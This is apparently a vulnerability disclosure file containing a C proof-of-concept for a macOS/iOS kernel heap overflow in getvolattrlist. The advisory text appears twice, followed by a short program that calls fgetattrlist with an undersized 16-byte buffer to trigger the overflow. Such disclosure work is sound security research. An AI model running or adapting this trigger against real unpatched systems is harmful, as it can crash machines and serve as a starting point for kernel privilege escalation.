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/*
getvolattrlist takes a user controlled bufferSize argument via the fgetattrlist syscall.
When allocating a kernel buffer to serialize the attr list to there's the following comment:
/*
* Allocate a target buffer for attribute results.
* Note that since we won't ever copy out more than the caller requested,
* we never need to allocate more than they offer.
*/
ab.allocated = ulmin(bufferSize, fixedsize + varsize);
if (ab.allocated > ATTR_MAX_BUFFER) {
error = ENOMEM;
VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
goto out;
}
MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);
The problem is that the code doesn't then correctly handle the case when the user supplied buffer size
is smaller that the requested header size. If we pass ATTR_CMN_RETURNED_ATTRS we'll hit the following code:
/* Return attribute set output if requested. */
if (return_valid) {
ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS;
if (pack_invalid) {
/* Only report the attributes that are valid */
ab.actual.commonattr &= ab.valid.commonattr;
ab.actual.volattr &= ab.valid.volattr;
}
bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual));
}
There's no check that the allocated buffer is big enough to hold at least that.
Tested on MacOS 10.13.4 (17E199)
*/
// ianbeer
#if 0
MacOS/iOS kernel heap overflow due to lack of lower size check in getvolattrlist
getvolattrlist takes a user controlled bufferSize argument via the fgetattrlist syscall.
When allocating a kernel buffer to serialize the attr list to there's the following comment:
/*
* Allocate a target buffer for attribute results.
* Note that since we won't ever copy out more than the caller requested,
* we never need to allocate more than they offer.
*/
ab.allocated = ulmin(bufferSize, fixedsize + varsize);
if (ab.allocated > ATTR_MAX_BUFFER) {
error = ENOMEM;
VFS_DEBUG(ctx, vp, "ATTRLIST - ERROR: buffer size too large (%d limit %d)", ab.allocated, ATTR_MAX_BUFFER);
goto out;
}
MALLOC(ab.base, char *, ab.allocated, M_TEMP, M_ZERO | M_WAITOK);
The problem is that the code doesn't then correctly handle the case when the user supplied buffer size
is smaller that the requested header size. If we pass ATTR_CMN_RETURNED_ATTRS we'll hit the following code:
/* Return attribute set output if requested. */
if (return_valid) {
ab.actual.commonattr |= ATTR_CMN_RETURNED_ATTRS;
if (pack_invalid) {
/* Only report the attributes that are valid */
ab.actual.commonattr &= ab.valid.commonattr;
ab.actual.volattr &= ab.valid.volattr;
}
bcopy(&ab.actual, ab.base + sizeof(uint32_t), sizeof (ab.actual));
}
There's no check that the allocated buffer is big enough to hold at least that.
Tested on MacOS 10.13.4 (17E199)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/attr.h>
int main() {
int fd = open("/", O_RDONLY);
if (fd == -1) {
perror("unable to open fs root\n");
return 0;
}
struct attrlist al = {0};
al.bitmapcount = ATTR_BIT_MAP_COUNT;
al.volattr = 0xfff;
al.commonattr = ATTR_CMN_RETURNED_ATTRS;
size_t attrBufSize = 16;
void* attrBuf = malloc(attrBufSize);
int options = 0;
int err = fgetattrlist(fd, &al, attrBuf, attrBufSize, options);
printf("err: %d\n", err);
return 0;
}
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